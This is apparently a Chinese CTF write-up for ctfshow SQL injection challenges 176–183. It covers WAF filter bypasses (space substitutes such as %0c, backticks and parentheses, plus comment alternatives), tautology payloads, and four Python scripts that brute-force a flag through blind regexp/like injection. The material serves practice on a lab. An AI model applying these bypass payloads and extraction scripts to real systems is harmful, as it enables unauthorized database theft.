176-183

  1. 176大小过滤
    union Union
    select Select
    2.177空格
    // 万万没想到,竟然是空格过滤有了问题,__ 这个也是空格的意思!!
    3.178注释不对!!空格也被替换了
    注释不要用–+ – -
    用%23
    空格用
    %0a
    %0b
    %0c
    %0d
    %09
    4.179
    只能用%0c代替空格

5.180-181
是所有空格的表达方式都被替代了,这耍赖了吧,凭直觉说是id=26的时候有flag

'or(id=26)and'1'='1 

优先级 and > or,所以说 假 or 真 and 真

'or(id=26)and'1
'or(id=26)and'1
?id=0'||id=26||'

union
select
 
__
/**/
--+
-- -
%0a
%0b
%0c
%0d
%09

183


6.` preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
过滤了一堆,好像包括单引号和空格
空格用的```这种,
主要用的函数是 

```html
[POST]PAYLOAD:
tableName=`ctfshow_user`where(substr(`pass`,1,8)regexp("ctfshow{"))
[POST]PAYLOAD:
tableName=(ctfshow_user)where(pass)like'ctfshow{%25'

where( )regexp(" ")
where( )like’ %’
都是匹配度一模一样的才会返回一模一样的值,你猜爆破构造出了正确的才会回显flag
和之前的逻辑不同。substr(pass,1,8)
tableName=(ctfshow_user)where(pass)like’ctfshow{%’
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果 $user_count = 1;代表匹配到了一个,利用此模式盲注

176-183_第1张图片4中脚本程序,不过我认为前两种的比较正确,万一表格里面还有其他的pass,那你一个个爆出pass的真的会是我们flag所在的么?

# @Author:Y4tacker
import requests

url = 'http://57496c50-1b0d-40de-ac22-501e93a1ddbd.chall.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 1;") > 0:
            res += j
            print(res)
            break

(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')
import requests
s=requests.session()

url = 'http://2be12acb-3c9e-49d7-80e1-b566b01ef541.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow{'
flag_str = '0123456789-abcdefghijklmnopqrstuvwxyz}'


for i in range(9,50):
    for j in flag_str:
        data = {
            'tableName': "`ctfshow_user`where((substr(`pass`,1,{})regexp('{}')))".format(i, flag + j)
        }
        r = s.post(url, data=data)
        if "count = 1" in r.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break


`ctfshow_user`where((substr(`pass`,1,{})regexp('{}'))).format(i, flag + j)
import requests


url = 'http://xxx/select-waf.php'
flag = 'ctfshow{'
flag_str = '0123456789-abcdefghijklmnopqrstuvwxyz}'
payload = "(ctfshow_user)where(pass)like'{}%'"

for i in range(0,50):
    for j in flag_str:
        data = {
            'tableName': payload.format(flag + j)
        }
        r = requests.post(url, data=data)
        if "count = 1" in r.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break


(ctfshow_user)where(pass)like'{}%'.format(flag + j)
自己调试中的程序,重点是空格的替代用的··,匹配ctfshow()的思路,format 格式的应用
# -*- coding: utf-8 -*-
"""
Created on Mon May 24 14:35:03 2021

@author: Administrator
"""
import requests
s=requests.session()


url='http://2be12acb-3c9e-49d7-80e1-b566b01ef541.challenge.ctf.show:8080/select-waf.php'
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag ='ctfshow{'

for i in range(9,10):
    print(i)
    for j in letter:
        data={'tableName': "`ctfshow_user`where(substr(`pass`,1,{})regexp('{}'))".format(i, flag + j)}  #这里只要他的符号是`才可以运行,代替空格,如果是单纯地''根本运行不来
        ra = s.post(url, data=data)
        if '$user_count = 1;' in ra.text:
            flag += j
            print(flag)
            break



你可能感兴趣的:(sql)